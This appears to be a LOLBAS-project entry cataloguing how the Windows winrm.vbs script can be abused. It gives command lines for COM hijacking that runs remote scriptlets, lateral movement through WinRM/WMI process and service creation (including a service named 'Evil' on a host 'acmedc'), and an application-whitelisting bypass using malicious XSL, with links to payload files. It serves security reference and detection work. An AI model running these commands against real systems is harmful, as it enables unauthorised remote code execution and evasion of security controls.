--- Name: winrm.vbs Description: Script used for manage Windows RM settings Author: 'Oddvar Moe' Created: '2018-05-25' Commands: - Command: reg.exe import c:\path\to\Slmgr.reg & winrm quickconfig Description: Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code. Usecase: Proxy execution Category: Execute Privileges: User MitreID: T1216 MitreLink: https://attack.mitre.org/wiki/Technique/T1216 OperatingSystem: Windows 10 - Command: 'winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985' Description: Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol Usecase: Proxy execution Category: Execute Privileges: User MitreID: T1216 MitreLink: https://attack.mitre.org/wiki/Technique/T1216 OperatingSystem: Windows 10 - Command: 'winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985' Description: Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol Usecase: Proxy execution Category: Execute Privileges: User MitreID: T1216 MitreLink: https://attack.mitre.org/wiki/Technique/T1216 OperatingSystem: Windows 10 - Command: '%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty' Description: Bypass AWL solutions by copying and executing cscript.exe and malicious XSL documents from attacker controlled location Usecase: Execute aribtrary, unsigned code via XSL script Category: AWL Bypass Privileges: User MitreID: T1216 MitreLink: https://attack.mitre.org/wiki/Technique/T1216 OperatingSystem: Windows 10 Full Path: - Path: C:\Windows\System32\winrm.vbs - Path: C:\Windows\SysWOW64\winrm.vbs Code Sample: - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr.reg - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct Detection: - IOC: Resources: - Link: https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology - Link: https://www.youtube.com/watch?v=3gz1QmiMhss - Link: https://github.com/enigma0x3/windows-operating-system-archaeology - Link: https://redcanary.com/blog/lateral-movement-winrm-wmi/ - Link: https://twitter.com/bohops/status/994405551751815170 - Link: https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404 - Link: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf Acknowledgement: - Person: Matt Graeber Handle: '@mattifestation' - Person: Matt Nelson Handle: '@enigma0x3' - Person: Casey Smith Handle: '@subtee' - Person: Jimmy Handle: '@bohops' - Person: Red Canary Company cc Tony Lambert Handle: '@redcanaryco' ---